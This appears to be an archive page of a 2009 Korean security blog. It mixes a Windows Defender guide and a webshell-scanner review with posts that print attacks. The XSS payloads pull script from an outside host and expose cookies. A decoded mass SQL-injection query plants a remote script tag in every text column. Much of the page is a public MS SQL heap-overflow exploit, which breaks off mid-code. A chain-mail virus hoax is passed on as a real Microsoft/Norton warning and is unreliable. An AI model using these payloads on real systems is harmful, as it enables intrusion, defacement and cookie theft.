Search Results for '전체 분류'


2064 posts related to '전체 분류'

  1. 2009/05/25 악성코드 무료치료는 Windows Defender 로 해결하자.
  2. 2009/05/25 진보된 javascript obfuscated code - 악성코드 삽입을 통한 사용자 유인
  3. 2009/05/21 Life is Beautiful" (인생은 아름다워) 라는 pps 그림을 받을때
  4. 2009/05/20 [XSS] style의 \의 사용
  5. 2009/05/20 [XSS] createElement(), getElementById(), appendChild(), innerHTML() 1
  6. 2009/05/20 [XSS] createElement(), getElementById(), appendChild(), innerHTML()
  7. 2009/05/20 [XSS] <frameset><frame src=URL></frameset>
  8. 2009/05/20 [웹쉘] asp,php,jsp,aspx,cgi - 파일업로드 취약점에 사용 - 아래 나오는 공격 스크립트 입니다. 1
  9. 2009/05/20 웹서버에 기생하는 악성 '웹쉘'을 잡아주는 무료 유틸리티 - Whistl
  10. 2009/05/19 ASP 암호를 역변환 하기
  11. 2009/05/19 웹서버 체크 툴입니다. httpwatch
  12. 2009/05/19 경기도, 기술개발과제 성과물 사업화 및 창업 지원
  13. 2009/05/19 Mass Exploits with SQL Injection
  14. 2009/05/19 [동영상] SQL Injection Signature Evasion Demonstration
  15. 2009/05/19 [동영상] Blindfolded SQL Injection 공격 시연
  16. 2009/05/19 MS-SQL sp_replwritetovarbin() 버퍼오버플로 취약점 공개
  17. 2009/05/19 어도비 웹사이트, SQL 인젝션 공격 당해
  18. 2009/05/19 무료 SQL 인젝션 스캐너 15 제품 요약 정리(#3/#3)
  19. 2009/05/19 무료 SQL 인젝션 스캐너 15 제품 요약 정리(#2/#3)
  20. 2009/05/19 무료 SQL 인젝션 스캐너 15 제품 요약 정리(#1/#3)
  21. 2009/05/19 Sqlmap, SQL 인젝션 공격 + 운영체제 침투 점검용 프로그램
  22. 2009/05/19 사운드 포지 8 한글판 2
  23. 2009/05/19 MakeMusic Finale 2009 5
  24. 2009/05/19 독일의 3두마차 - 벤츠,BMW,아우디 는 어떤 차 ?
  25. 2009/05/16 특정테이블이 쿼리분석기가 안먹히고 테이블명이 잘못되었다고 나올때 -사용자를바꾸어준다-
  26. 2009/05/16 SQL <NULL> 값을 공백값으로 바꾸기(쿼리분석기로)
  27. 2009/05/16 이미지 링크가 깨졌을때 이미지 대체 스크립트
  28. 2009/05/16 ASP 불법 게시물 자동 등록 막기 2
  29. 2009/05/16 adobe 포토샵 드림위버 등 사용권 만료 해결방법 4
  30. 2009/05/16 Silverlight3 Beta1 개발 환경 구성하기

컴퓨터를 사용하면서 악성코드 때문에 골치 아픈 적이 있을 것입니다. 악성코드, 스파이웨어 및 기타 잠재적으로 원치 않는 소프트웨어는 사용자가 인터넷에 연결할 때마다 컴퓨터에 자동으로 설치될 수 있습니다. 또한 사용자가 CD, DVD 또는 이동식 미디어를 사용하여 특정 프로그램을 설치할 때 컴퓨터를 감염시킬 수 있습니다. 잠재적으로 원치 않거나 악성 소프트웨어는 설치될 때뿐만 아니라 예기치 않게 실행되도록 프로그래밍될 수도 있습니다.

MS에서 무료로 배포하는 Windows Defender 라는 악성코드무료치료 프로그램을 대해서 알아 보도록 하겠습니다.

마이크로소프트에서 무료버전으로 Windows Defender라는 악성코드무료치료 프로그램을 배포하고 있으며, 윈도우비스타에서는 자체 내장되어 있습니다. 기존의 악성코드무료치료 프로그램과 차이는 없지만, 운영체제를 만든 회사에서 개발한 것이라 궁합이 잘 맞을 것이라 생각이 됩니다.

윈도우비스타 이전 버전 사용자는 Windows XP 서비스 팩 2 이상 또는 Windows Server 2003 서비스 팩 1 이상 버전에서만 설치가 가능합니다.

먼저, 윈도우 XP 사용자는 아래를 클릭하여 다운로드하여  설치합니다.
   악성코드무료치료 프로그램 - Windows Defender 다운로드
    (사이트 접속 후 continue 버튼 클릭 -> download 버튼 클릭)  

사용자 삽입 이미지
                                   [defender 다운로는 화면]


[실행 방법]
시작(비스타는 로그) -> 프로그램 -> Windows Defender  클릭합니다.

사용자 삽입 이미지

검사 -> 빠른 검사 (전체 검사)를 클릭합니다.

사용자 삽입 이미지

검사 중인 화면..

사용자 삽입 이미지

사용자 삽입 이미지

                                               [검사 완료 화면- 컴퓨터에 악성코드가 없음]


테스트로 악성프로그램을 내 컴퓨터에 다운로드 해 보았습니다. 아래와 화면과 같이 자동으로 경고창이 뜨는군요. 모두제거를 클릭하여 삭제하면 됩니다.

사용자 삽입 이미지
                                                [악성코드 검출 화면]

참고

컴퓨터가 악성코드(스파이웨어)에 감염되었는지 확인하는 방법
1. 웹 브라우저에 의도적으로 추가하지 않은 새로운 도구 모음, 링크 또는 즐겨찾기가 표시될 경우
2. 홈 페이지, 마우스 포인터 또는 검색 프로그램이 예상치 않게 바뀐 경우
3. 특정 웹 사이트(예: 검색 엔진)의 주소를 입력했지만 별다른 알림 없이 다른 웹 사이트로 이동될 경우
4. 인터넷에 연결되어 있지 않아도 팝업 광고가 표시될 경우
5. 컴퓨터가 갑자기 보통 때보다 더 느리게 실행될 경우

증상이 없어도 컴퓨터에 악성코드(스파이웨어)가 침투했을 수 있습니다. 이 유형의 소프트웨어는 사용자에게 알리거나 동의를 구하지 않고 사용자 및 사용자 컴퓨터에 대한 정보를 수집할 수 있습니다. 사용자의 개인 정보 및 컴퓨터를 보호하려면 항상 Windows Defender 와 같은 스파이웨어 방지 프로그램을 실행하는 것이 좋습니다.

또한,  스파이웨어는 계속해서 발전하고 있으므로 Windows Defender는 최신 정의를 사용하여 사용자의 컴퓨터에서 설치 또는 실행되거나 설정을 변경하려고 하는 소프트웨어가 잠재적으로 사용자 동의 없이 설치된 소프트웨어인지, 악성 소프트웨어인지를 확인합니다. 따라서 Windows Update를 하여 최신의 상태로 유지해야 합니다.
 Windows Update 방법 : 시작 -> windows update 클릭 -> 절차에 따릅니다.
2009/05/25 13:43 2009/05/25 13:43

최근에 알려진 악성코드 삽입을 위해 사용하는 자바스크립트 삽입 방식입니다.

기존 방식보다더 좀더 꼬우기위해서 이번에는 변수치환 방법을 사용하고 있습니다.


(1) 치환

아래와 같은 코드의 의미는 9e1은 무시되고 뒤에 있는 it을 mutae에 할당한다.


mutae=(9e1,"it");

mutae="it"; 가 되겠군요..

(2) 조건



rgvij=(0.2e1>=4e1?.9075:"i"+"f");

0.2e1은 2와 동일합니다.

4e1은 40과 동일합니다.

아래와 같이 변환할 수 있겠네요..


if ( 2 >= 40 ? .9075  :  "i"+"f" )


만약 2 >= 40 조건식이 맞다면 .0975를 실행하고,,

     2 >= 40 조건식이 틀리다면  "i"+"f" 실행합니다. 마치 C 함수에서 일반적으로 쓰이는 조건 분기 방법을 사용합니다.


결국 40이 더크므로.."i"+"f" 가 실행되겠네요..

그리고 자바스크립트 해석기는 "i"+"f" 를 if 로 인식합니다.

 

revij="if"; 라는 식이겠네요..



3) 또 다른 치환

document[“write”](“text to print”); 는 아래와 같이 ..사용될 수도 있죠..



a = document;
b = “write”;
c = “text to print”;
a[b](c);


아래는 샘플입니다. 한 풀어보시죠..

aaa=(((0x4435,7.)>=(.61,9.12e2)?(1,4.033e3):(266,7.1e1)),((0x97<=.1?7.616e3:2.176e3),(.39<8e0?document:2032)))

2009/05/25 13:41 2009/05/25 13:41

Subject: Life is Beautiful" (인생은 아름다워) 라는 pps 그림을 받을때에는 여하
Life is Beautiful" (인생은 아름다워) 라는 pps 그림을 받을때에는 여하한 경우라도 열지말고 곧바로 삭제하기 바랍니다.
이 정보는 Microsft 와 Norton 에서 강력히 통보한 내용입니다.
만약 이파일을 열었다가는 "이미 때는 늦었습니다. 당신의 인생은 더이상 아름답지 안습니다" 라는 메세지가 나타날겁니다.
결과적으로 당신의 컴퓨터에 있는 모든것을 잃어버리게 됩니다.
동시에 이런 mail 을 보낸사람이 당신의 이름, e-mail 주소와 비밀번호등을 파악하게 될겁니다.

이것은 새로 발생한 바이러스(virus)로서 4,28(토요일) 오후에 활동을 시작한 virus 로서 AOL 에서 확인한바에 의하면 현존 어떤 virus 퇴치 프로그램으로도 이 virus 를 치료 없앨수가 없다고 합니다.
이 virus 는 자칭 "Life Owner (생명의 소유자)" 라고 하는 hacker 가 만들었다고 합니다.

본 메일의 사본을 꼭 주변 친구들에게 알려서 예방하세요~

2009/05/21 14:22 2009/05/21 14:22
ㅇ PoC
<IMG STYLE='xss:expre\ssion(alert("hacked"))'>
2009/05/20 18:36 2009/05/20 18:36
ㅇ createElement(), getElementById(), appendChild(), innerHTML() 이용,
    자바스크립트 사용 - for XSS

ㅇ 사이트 입력
<center id=xcuter></center><a onpropertychange='var x="scr"+"ipt"; var xcu=document.createElement(x); xcu.src="http://youngsam.kr/xss";document.getElementById("xcuter").appendChild(xcu);' href="xcuter"></a>

http://youngsam.kr/xss 의 내용
document.getElementById("xcuter").innerHTML = '<img src="" onerror="alert(document.cookie)"';
2009/05/20 18:36 2009/05/20 18:36
ㅇ createElement(), getElementById(), appendChild(), innerHTML() 이용,
    자바스크립트 사용 - for XSS

ㅇ 사이트 입력
<center id=xcuter></center><a onpropertychange='var x="scr"+"ipt"; var xcu=document.createElement(x); xcu.src="http://youngsam.kr/xss";document.getElementById("xcuter").appendChild(xcu);' href="xcuter"></a>

http://youngsam.kr/xss 의 내용
document.getElementById("xcuter").innerHTML = '<img src="" onerror="alert(document.cookie)"';
2009/05/20 18:36 2009/05/20 18:36
ㅇ 사이트 입력
   <frameset><frame src=http://youngsam.kr/xss></frameset>

http://youngsam.kr/xss 의 내용
    <img src="" onerror="alert(String.fromCharCode(88,83,83,32,72,65,67,75,69,68));" height=0 width=0>

ㅇ = alert('XSS HACKED)')

ㅇ 우회 방안 고민중 - frameset 앞에 <body>, "aa" 등 들어갈 경우 실패
<html>
<head><title>xss</title></head>
<frameset><frame src=http://youngsam.kr/xss></frameset>
</html>
2009/05/20 18:35 2009/05/20 18:35
[웹쉘] asp,php,jsp,aspx,cgi - 파일업로드 취약점에 사용 - 아래 나오는 공격 스크립트 입니다.

좀 위험 하긴 합니다.

2009/05/20 18:32 2009/05/20 18:32

웹방화벽 등의 고가의 보안 장비를 구입할 형편이나 예산이 되지 않는 중소기업의 웹 페이지는 늘 악성 공격에 위협을 받고 있다.

나름대로 이래저래 긴급 조치를 해보지만 보안 취약점을 원천적으로 해결하거나, 이미 악성 코드가 유입된 경우 이를 찾아 제거하기가 쉽지 않다. 특히 이런 악성코드는 일반 백신 소프트웨어로는 제대로 탐지가 되지 않아, 일일이 파일을 열어 확인하지 않는 이상 정확한 확인 조차 어렵다.

보통 윈도우 2000/2003 서버 운영체계를 사용하는 서버에서 보안 취약점 문제가 빈번하게 발생하는데, 그 중 윈도우 서버 관리자나 개발자라면 한번쯤음 들어봤음직 한 '웹셀'이란 해킹 툴이 가장 큰 문제다.

 

웹쉘은 해커 또는 크래커가 원격에서 웹페이지 형태의 탐색기 프로그램을 통해 해당 서버를 마음대로 주무를 수 있게 하는 해킹 툴이다. 즉 그 나쁜 놈(주로 중국 애들이다)들은 서버의 취약점(SQL Injection 등)을 이용해 이 웹셀 파일을 서버에 저장시킴으로써,

원격에서 인터넷 익스플로러를 통해 피해 서버의 파일, 폴더를 자유자재로 조작할 수 있게 된다. (윈도우 탐색기를 원격으로 사용하는 셈이다.)

사용자 삽입 이미지

 - 웹쉘을 통해 인터넷 익스플로러만으로도 대상 서버의 파일, 폴더를 훤히 제어할 수 있다. (이런게 가능하다니 신기하기까지 하다.)

 

나 역시도 이 웹쉘 때문에 한동안은 쌩고생과 삽질을 해야 했다.

내노라 하는 백신 프로그램, 방화벽 프로그램 등을 통해 어느 정도 걷어내긴 했지만, 수십만개나 되는 윈도우 전체 파일을 하나하나 뒤져

웹쉘 소스가 사입된 걸 찾아내기란 삽질도 그런 삽질이 따로 없다.

 

결국 '언발에 오줌누는' 격으로 지금까지 웹쉘의 근본을 뿌리 뽑지 못하고 근근히 버티고 있던 터였다.

이처럼 충분한 웹 보안 장비를 마련할 수 없는 우리네 중소기업을 위해 '한국정보보호진흥원(이하 KISA)'에서는 다양한 정보와 툴을 제공하고 있다.

특히 KISA의 부설 센터인 '인터넷침해사고 대응지원센터(www.krcert.or.kr)'를 통해 무료 배포되는 웹 방화벽 프로그램인 '웹나이트' 역시 효율적으로 외부로부터의 공격을 차단해주어 '가뭄에 단비' 역할을 하고 있다.

('웹나이트' 웹방화벽 프로그램에 대해서도 조만간 포스팅 하도록 하겠다.)  

 

KISA에서 우리같은 '중생'을 구제하기 위해 무료 공급하는 보안 프로그램이 두어개 더 있다.

하나는 서버 내 유입된 악성코드를 탐지해 주는 'MC-Finder'와 웹쉘 탐지용으로 최근에 배포된 'Whistl'이 그것. (편의상 Whistl은 '휘슬'로 표기하겠다.) 두 프로그램은 KISA와 보안 업체 개발자들이 모여 자체 개발한 순수 국산 무료 보안 프로그램이다.

 

무료라 해서 그냥 막 퍼주는 건 아니고, 인터넷침해사고 대응지원센터 홈페이지에서 신청양식을 다운로드 받아 이를 작성하여 관계자에게 메일로 신청해야 한다. 센터에 따르면 대기업이나 관공서 등보다는 주로 중소기업체를 대상으로 우선 배포한다 했다.

신청양식 문서는 이 포스트에 게시하였으니 다운, 작성 후 각각 mcfinder@krcert.or.krwhistl@krcert.or.kr로 발송 후 기다리면 된다.

 

이 포스트에서는 웹쉘 소스 탐지 프로그램인 '휘슬'에 대해 살펴보기로 한다.

사용신청서를 보낸 후 사용 적격으로 판정되면 하루 이틀 사이에 휘슬 설치 파일을 받을 수 있다.

휘슬은 현재 리눅스(커널 v2.4, 2.6)와 윈도우 운영체계만 지원하며, 실행 후 센터에서 함께 알려 준 아이디와 패스워드를 입력해야 최종 사용이 가능하다.

 

지원센터에서 보낸 파일은 총 2개다. 프로그램 압축 파일계정 인증을 위한 bin 파일(validate.bin)이다.

즉 프로그램 압축 파일을 푼 폴더에 인증용 bin 파일을 복사해 둬야 계정 로그인이 가능하다.

 

설치 압축 파일을 풀면 리눅스용과 윈도우용 압축 파일이 나오고 이 중 윈도우용 프로그램을 실행하면 된다.

프로그램은 설치하는 방식이 아니라 단발식 실행 방식이다.

 

whistl.exe 파일을 실행하면 아래와 같이 로그인 화면이 나오고, 센터에서 받은 계정을 입력하면 된다.

(계정은 회사 이름으로 정해지더라.)

사용자 삽입 이미지


로그인에 성공하면 제일 먼저 패턴 업데이트를 수행해야 한다. (업데이트는 자동 업데이트 설정이 가능하다.)


사용자 삽입 이미지


위와 같이 패턴 업데이트를 완료하면 이제 웹서버의 소스 파일 폴더를 지정하여 탐지를 시작한다.

윈도우 2000/2003 웹서버 환경이라면 대게 ASP 파일로 구성되겠지만, '휘슬'에서는 PHP나 JSP도 지원하고 있으므로

아래 화면과 같이 '환경설정' 메뉴에서 소스 파일 유형을 선택할 수도 있다.



사용자 삽입 이미지

자 이제 실제로 웹쉘 코드가 침투한 소스 파일이 있는지 떨린 마음으로 검색해 본다.

우리 회사 서버 환경은 윈도우2003의 IIS 기반 다중 웹서버에 소스 파일 서버를 따로 두어 폴더 공유를 하고 있다.

다행히도 휘슬은 웹서버의 로컬 폴더 뿐 아니라 원격공유 폴더도 검색할 수 있다. 

사용자 삽입 이미지

위 그림에서 C:\는 웹서버 로컬, Z:\는 소스 파일 서버의 공유 폴더다.

[검사시작] 버튼을 누르면 아래 그림과 같이 실제 스캔 작업이 진행된다. 

사용자 삽입 이미지


검사를 마친 나는 결과를 보고 경악하지 않을 수 없었다. 나름대로 유수의 백신, 보안 프로그램으로 항상 체크하고 점검하고 있는데

위와 같이 웹쉘 소스가 유입된 파일이 11개가 나왔다. 어쩐지 잊을만 하면 한번씩 툭툭 증상이 나타나곤 하더라... 덴장...

 

휘슬은 해당 소스 파일에 유입된 웹쉘 소스도 분석할 수 잇도록 '파일보기' 기능을 넣어 두었다.

실제로 위 그림에서 하나의 파일을 선택 후 '파일보기'를 선택하면...

사용자 삽입 이미지


이렇게 나온다. 이 암호화된 웹쉘 소스가 특정 asp 파일에 떡하니 삽입되어 있으니 일반 백신으로는 잡아내지 못한다.

실제로 위 소스가 어떻게 작동하는지는 모르겠지만, 일단 악성 코드 패턴에 해당되는 내용이니 해당 asp 파일을 열어 남김없이 삭제해야 하겠다.

특히 위 검색 결과 그림에서 '7개 이상'의 웹쉘 코드가 발견된 파일은 집중 관리 대상이 되겠다. (결과 화면의 '수준' 탭에 나타난다.)

 

이 정도만 잡아낼 수 있으면 서버 관리자나 개발자에게 한결 수월하다. 현재 전체 서버에는 K사의 백신을 실시간으로 실행하고 있지만,

저렇게 이미 잡입돼 숨어있는 소스는 찾아내지 못하고 있다. (이런 툴을 무상 배포하는 KISA에 다시 한번 감사의 뜻을 전한다.)

 

이 밖에 휘슬은 주기적으로 웹쉘 소스를 탐색하도록 예약 검사도 지원하고 있다

사용자 삽입 이미지

이 휘슬은 앞서 언급한 '웹나이트' 웹방화벽과 함께 운영할 수 있다. 현재 우리 회사 환경에서도 그리 적용하여 운영중이다.

또한 감염 수정된 asp 파일은 따로 검염소로 격리 보관하며 유입 패턴과 소스 분석이 가능하도록 하고 있으며,

해당 감염 파일을 KISA 측으로 송부하여 신고하는 기능도 제공하고 있다.

 

일단 휘슬로 급한 불을 끌 수 있어 한시름 놓게 됐다. (요즘 '불' 얘기 하기가 좀 거시기 하다...)

물론 그렇다고 이것만 믿고 마냥 손놓고 있어도 안될 것이라 역시 관리자의 지속적인 관심과 주의가 필요할 것이다.

아울러 일주일에 한두번 정도는 KISA나 지원센터 홈페이지를 방문해 최신 보안 정보도 습득하는 습관도 필요하겠다.

 

한동안 우리 서버에서도 극성을 부리던 악성 코드와 웹쉘 프로그램이 지금은 다소 누그러진 추세다.

기존에 사용하던 웹나이트 웹방화벽도 최신 버전으로 교체했고, 앞서 말한 MC-Finder와 휘슬을 통해 매일매일 점검하며,

비교적 공신력 높다는 K사 백신으로도 매일 체크하면서 파일 상태를 모니터링 하고 있기 때문인 듯 하다.

역시 '시스템 보안'은 이를 관리하는 관리자의 보안 의식과 관심에서 시작됨을 다시 한번 통감하는 요즘이다.

 

2009/05/20 18:15 2009/05/20 18:15

ASP 암호화 하기

function form_submit() {

  var letters = 'ghijklabvwxyzABCDEFef)_+|<>?:mnQRSTU~!@#$%^VWXYZ`1234567opGHIJKLu./;'+"'"+'[]MNOP890-='+'\\'+'&*("{},cdqrst'+"\n";
  var split = letters.split("");
  var num = '';
  var encrypted = '';
 
<%
  if f_jumin = 1 then
%>

  encrypted = '';
  var it = document.ps_user.jumin2.value;
  var c = '';
  var b = '0';
  var chars = it.split("");
  while(b<it.length)
  {c = '0';while(c<letters.length)
  {if(split[c] == chars[b])
  {if(c == "0") { c = ""; }
  if(eval(c+10) >= letters.length){
  num = eval(10-(letters.length-c));
  encrypted += split[num];}
  else{num = eval(c+10);encrypted += split[num];}
  }
  c++;}
  b++;}

  document.ps_user.jumin2.value = encrypted;encrypted = ''; 

<%
  end if
%>

  encrypted = '';
  var c1 = '';
  var it1 = document.ps_user.pin.value;
  var b1 = '0';
  var chars1 = it1.split("");
  while(b1<it1.length){c1 = '0';
  while(c1<letters.length){if(split[c1] == chars1[b1]){if(c1 == "0") { c1 = ""; }if(eval(c1+10) >= letters.length){num = eval(10-(letters.length-c1));
  encrypted += split[num];}else{num = eval(c1+10);encrypted += split[num];}}c1++;}b1++;}document.ps_user.pin.value = encrypted;encrypted = '';

  document.ps_user.submit();
}

-------------------------------------------------------------------------------------------------------------------------

  var encrypted = '';
  var it = document.ps.pin.value;
  var b = '0';var chars = it.split("");
  while(b<it.length) {
       c = '0';
       while(c<letters.length)
          {if(split[c] == chars[b])
     {if(c == "0") { c = ""; }
     if(eval(c+10) >= letters.length)
      {num = eval(10-(letters.length-c));
      encrypted += split[num];}else{num = eval(c+10);
      encrypted += split[num];}
      }
      c++;
      }
      b++;
      }document.ps.pin.value = encrypted;encrypted = '';
---------------------------------------------------------------------------------------------------------------------

역변환

<script>
function decode_letters(it){

    var letters = 'ghijklabvwxyzABCDEFef)_+|<>?:mnQRSTU~!@#$%^VWXYZ`1234567opGHIJKLu./;'+"'"+'[]MNOP890-='+'\\'+'&*("{},cdqrst'+"\n";

    var split = letters.split("");
    var num = '';
    var c = '';

    var decrypted = '';

    var b = '0';
    var chars = it.split("");
    while(b<it.length){
        c = '0';
        while(c<letters.length){
            if(split[c] == chars[b]){
                if(c == "0") { c = ""; }
                if(eval(c-10) < 0){
                    num = eval(letters.length+(c-10));
                    decrypted += split[num];
                }else{
                    num = eval(c-10);
                    decrypted += split[num];
                }
            }
            c++;
        }
        b++;
    }
 alert(decrypted);
    return decrypted;

}
</script>

2009/05/19 21:30 2009/05/19 21:30
http 에서 화일에 대한 정체 / 지연 / 문제 부분을 분석하는 툴입니다.

System Requirements:

Windows XP, Vista or 2003/2008 Server

Internet Explorer 6, 7, 8 Beta 2 or Mozilla Firefox 2.0, 3.0, 3.1 Beta 2

사용자 삽입 이미지

http://www.httpwatch.com/download/ 에서 다운 받으실수 있을겁니다.

2009/05/19 21:28 2009/05/19 21:28
경기도, 기술개발과제 성과물 사업화 및 창업 지원

경기도는 신기술사업화 및 창업지원을 통해 경제위기 극복에 앞장서기 위해 연구개발(R&D)을 통한 새로운 전략분야 발굴로 신기술 사업화 및 창업지원 등 획기적인 창업환경을 조성해 주는 “경기 신기술사업화 촉진사업”을 올해부터 추진한다.


경기도가 지난 4월 23일부터 5월 8일까지 R&D 성과물의 사업화 및 신기술 보유자중 창업을 희망하는 사람을 모집한 결과 72개 사업자 및 개인이 신청하여 높은 관심을 보였으며, 오는 22일까지 사업계획서 평가를 통해 12개 사업자를 최종 선발하여 지원할 계획이다.


 - 선정된 기업에게는 추가적인 기술개발이나 응용기술개발, 시제품제작 등 사업화에 소요되는 자금을 사업자 1인당 1억원 이내 범위에서 지원하며 사업자는 총 소요자금의 25∼30%를 부담하게 된다.


 - 아울러 전담 코디네이터를 지정해 사업화 과정에 필요한 기술, 재무, 마케팅 등 주기적인 컨설팅과 전문가 그룹의 멘토링을 지원해 주고 도내 기업들과의 네트워크도 구축하기로 했다.


이 사업은 우수 신기술과 잠재력을 보유한 기술창업자가 종합적인 기업지원 시스템을 통해 기술개발 성과물이 사업화에 성공하여 안정적으로 매출을 증대시켜주고 시장에 조기 정착하는데 발판을 마련해 줄 것으로 기대된다.


향후, 경기도는 경제위기로 인한 민간의 R&D 투자위축을 보완하기 위한 2012년 R&D 예산을 총예산의 2% 수준으로 유지하여 기술경쟁력을 제고할 계획으로 있다. (문의 과학기술과 249-4491)

출처 : http://www.gg.go.kr

2009/05/19 21:03 2009/05/19 21:03
본 글은 isc.sans.org에 올라온 글을 참조해서 재구성한 것이다.
다음 로그는 공격로그의 한 부분이다. 공격 로그 중 SQL 구문이 GET 부분에 들어가 있는 것을 볼 수 있다.

GET /home/site_content_3.asp

s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C00610072006500200040006D00200076006100720063006800610072002800380030003000300029003B00730065007400200040006D003D00270027003B00730065006C00650063007400200040006D003D0040006D002B0027007500700064006100740065005B0027002B0061002E006E0061006D0065002B0027005D007300650074005B0027002B0062002E006E0061006D0065002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C0027002B0062002E006E0061006D0065002B002700290029002B00270027003C0073006300720069007000740020007300720063003D00220068007400740070003A002F002F0079006C00310038002E006E00650074002F0030002E006A00730022003E003C002F007300630072006900700074003E00270027003B0027002000660072006F006D002000640062006F002E007300790073006F0062006A006500630074007300200061002C00640062006F002E0073007900730063006F006C0075006D006E007300200062002C00640062006F002E007300790073007400790070006500730020006300200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D0027005500270061006E006400200062002E00780074007900700065003D0063002E0078007400790070006500200061006E006400200063002E006E0061006D0065003D002700760061007200630068006100720027003B00730065007400200040006D003D005200450056004500520053004500280040006D0029003B00730065007400200040006D003D0073007500620073007400720069006E006700280040006D002C0050004100540049004E004400450058002800270025003B00250027002C0040006D0029002C00380030003000300029003B00730065007400200040006D003D005200450056004500520053004500280040006D0029003B006500780065006300280040006D0029003B00%20AS%20NVARCHAR(4000));EXEC(@S);--


위에서 보다시피 실제 구문은 인코딩되어 있어 금방은 알 수 없게 했다.
공격자는 CAST 구분을 사용해서 공격을 쉽게 탐지하지 못하도록 혼란 공격(Obfuscate Attack) 기법을 사용하고 있다.
CAST 구문은 타입을 다른 타입으로 Convert 시켜주는 역할을 한다.
CAST 된 구문은 "@S"의 Input 되고 실행이 된다.

이 코드를 아래 펄 명령어를 사용해서 디코딩한 것이 다음과 같다.

$ perl -pe 's/(..)00/chr(hex($1))/ge' < input > output


[디코딩 결과]

declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);


이 SQL 구문은 sysobject 테이블을 type U(User) 테이블의 모든 row를 가져오는 것이다.
결국 각 오브젝트에 yl18.net. 사이트 주소 코드를 추가하도록 업데이트 명령을 실행 시키는 구문이다.
이 공격을 받은 웹 사이트는 IIS와 MS SQL 서버가 설치된 경우이다. 특히 주목할 것이 바로 Evading을 하기 위해서 CAST나 CONVERT 명령어를 쓴다는데 유의해야 한다.

[원문]

Published: 2008-01-09,
Last Updated: 2008-01-09 09:05:44 UTC
by Bojan Zdrnja (Version: 1)
http://isc.incidents.org/diary.html?storyid=3823
2009/05/19 20:45 2009/05/19 20:45
두번째 시리즈로 SQL Injection 공격 중의 하나인 Signature Evasion 시연 동영상입니다. 예전에는 로그온하는 화면에서 비밀번호를 몰라도 우회해 들어가는 방법과 유사합니다.

Signature Evasion에 대한 자료는 아래 링크를 참고하세요.

http://www.infosec.co.uk/ExhibitorLibrary/383/WP_SQL_Injection_Protection_LK_20.pdf
2009/05/19 20:36 2009/05/19 20:36
최근 보안 기업으로 유명한 Imperva에서 SQL Injection 공격 중 하나의 Blindfolded SQL 인젝션 공격의 동영상을 유튜브에 공개했습니다.




Blindfolded SQL Injection은 SQL 서버와 같이 데이터베이스 서버에서 질의(Query)를 하나하나 집어 넣어 시연하면서 오류가 발생하는 상태를 보아 가면서 오류가 없도록 해가면서 공격해 가는 기법입니다.

이에 대한 자세한 정보는 아래 링크를 참고하십시오.

http://ttongfly.net/zbxe/?document_srl=42603

 

2009/05/19 20:36 2009/05/19 20:36

지난 12월 9일에 번하드 뭴러(Bernhard Mueller)는 악의를 가진 사용자가 권한을 탈취할 수 있는 취약점을 MS SQL 서버에서 발견했습니다. 

이 취약점은 "sp_replwritetovarbin()"이라는 확장 스토어 프로시저(Extended SP)를 구현하는 과정에서 메모리의 경계를 제대로 처리하지 못해 발생합니다. 이로 인해 교묘하게 조작된 코드를 사용하여 힙에 관련된 버퍼 오버플로 공격을 성공시킬 수 있습니다.


취약점이 있는 제품은 다음과 같습니다.

* MS SQL Server 2000 SP4

* MS SQL Server 2000 IA64 SP4

* MS SQL Server 2005 SP2

* MS SQL Server 2005 IA64 SP2

* MS SQL Server 2005 Express Edition SP2

* MS SQL Server 2005 Express Edition Advanced Services SP2

* MS SQL Server Desktop Engine (MSDE 2000) SP4

* MS SQL Server Desktop Engine (WMSDE)

* Windows Internal Database (WYukon) SP2


취약점이 없는 제품은 다음과 같습니다.

* MS SQL Server 7.0 SP4

* MS SQL Server 2005 SP3

* MS SQL Server 2005 x64 SP3

* MS SQL Server 2005 IA64 SP3

* MS SQL Server 2008

* MS SQL Server 2008 IA64

* MS SQL Server 2008 x64

한 편 이 취약점을 이용하는 공격 코드가 인터넷에 공개되어 있으며 아래 코드는 취약점이 있는지 확인할 수 있는 샘플 코드입니다.

  • // k`sOSe 12/17/2008
  • <%// Microsoft SQL Server "sp_replwritetovarbin()" Heap Overflow
  • // Tested on Win2k SP4 with MSSQL 2000(on one box only!).
  • // Shellcode is a slightly modified metasploit reverse shell(on 10.10.10.1 port 4445),
  • // the change allows multiple shots :)
  • //
  • // You need a valid SQL account, but you can also use this through an SQL-Injection simply by injecting the T-SQL stuff.
  • // Take a look at the comments in T-SQL
  • On Error Resume Next
  • // change this
  • UserName = "r00t"
  • Password = "t00r"
  • // ########################################### FIRST QUERY
  • SQL = "DECLARE @buf NVARCHAR(4000),             "&_
  • "@val NVARCHAR(4),                      "&_
  • "@counter INT                           "&_
  • "SET @buf = '                           "&_
  • "declare @retcode int,                      "&_
  • "@end_offset int,                       "&_
  • "@vb_buffer varbinary,                      "&_
  • "@vb_bufferlen int                      "&_  
  • "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  • "SET @val = CHAR(0x41)                      "&_
  • "SET @counter = 0                       "&_
  • "WHILE @counter < 3020                      "&_
  • "BEGIN                              "&_
  • "  SET @counter = @counter + 1                  "&_
  • "  IF @counter = 2900                       "&_ 
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x43)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 299                   "&_
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x42)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 300                   "&_
  • "  BEGIN                            "&_
  • "     /* First byte overwritten here. This is a random writable address */  "&_
  • "     SET @buf = @buf + CHAR(0x44) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  • "     CONTINUE                          "&_
  • "  END                              "&_
  • "  SET @buf = @buf + @val                   "&_
  • "END                                "&_
  • "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  • "EXEC master..sp_executesql @buf"
